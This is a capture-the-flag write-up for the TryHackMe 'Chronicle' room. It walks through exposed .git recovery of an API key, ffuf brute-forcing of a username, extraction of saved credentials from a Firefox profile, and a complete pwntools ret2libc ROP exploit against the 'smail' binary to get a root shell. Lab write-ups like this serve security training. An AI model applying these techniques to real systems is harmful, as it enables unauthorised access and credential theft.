← back to write ups

write up

chronicle

tryhackme medium 60 pts linux room ↗

initial reconnaissance

an nmap scan reveals three open ports:

web enumeration

on port 8081, a login page and /forget endpoint were discovered. the forgot-password functionality required an api key that was missing from the implementation. javascript source at /static/js/forget.js confirmed the api key was necessary.

finding the api key

directory enumeration on port 80 revealed an /old directory. further fuzzing uncovered a .git repository:

gobuster dir -u chronicle.thm -w /usr/share/wordlists/dirb/common.txt -t 20 -x php,html,bak,txt,db,zip
ffuf -u http://chronicle.thm/old/FUZZ -w raft-large-directories-lowercase.txt
wget --recursive http://chronicle.thm/old/.git --continue

git history analysis exposed the api key: 7454c262d0d5a3a0c0b678d6c0dbc7ef

username brute force

with the api key, the forgot-password endpoint was tested. since the correct username was unknown, ffuf was used to brute force it:

ffuf -w /opt/SecLists/Passwords/Common-Credentials/10k-most-common.txt -X POST \
  -d '{"key":"7454c262d0d5a3a0c0b678d6c0dbc7ef"}' \
  -u http://chronicle.thm:8081/api/FUZZ -fw 2

this yielded credentials for user tommy.

ssh access & further enumeration

ssh access was gained with tommy's credentials. linpeas revealed little, but a .mozilla directory in carlj's home contained a firefox profile.

firefox credential extraction

the firefox default release profile was extracted and decrypted using firefox_decrypt.py:

wget --recursive chronicle.thm:8000/0ryxwn4c.default-release --continue
python3 firefox_decrypt.py 0ryxwn4c.default-release

the password prompt was satisfied with "password1", revealing credentials for user carlj.

buffer overflow exploitation

as carlj, a binary named smail was discovered in the mailing directory. testing with input exceeding 80 characters triggered a segmentation fault, indicating a buffer overflow vulnerability. exploit development required:

final exploit

from pwn import *

p = process('./smail')

base = 0x7ffff79e2000
sys = base + 0x4f550
binsh = base + 0x1b3e1a

rop_rdi = 0x4007f3

payload = b'A' * 72
payload += p64(0x400556)
payload += p64(rop_rdi)
payload += p64(binsh)
payload += p64(sys)
payload += p64(0x0)

p.clean()
p.sendline("2")
p.sendline(payload)
p.interactive()

this rop chain executed /bin/sh with elevated privileges, achieving root access.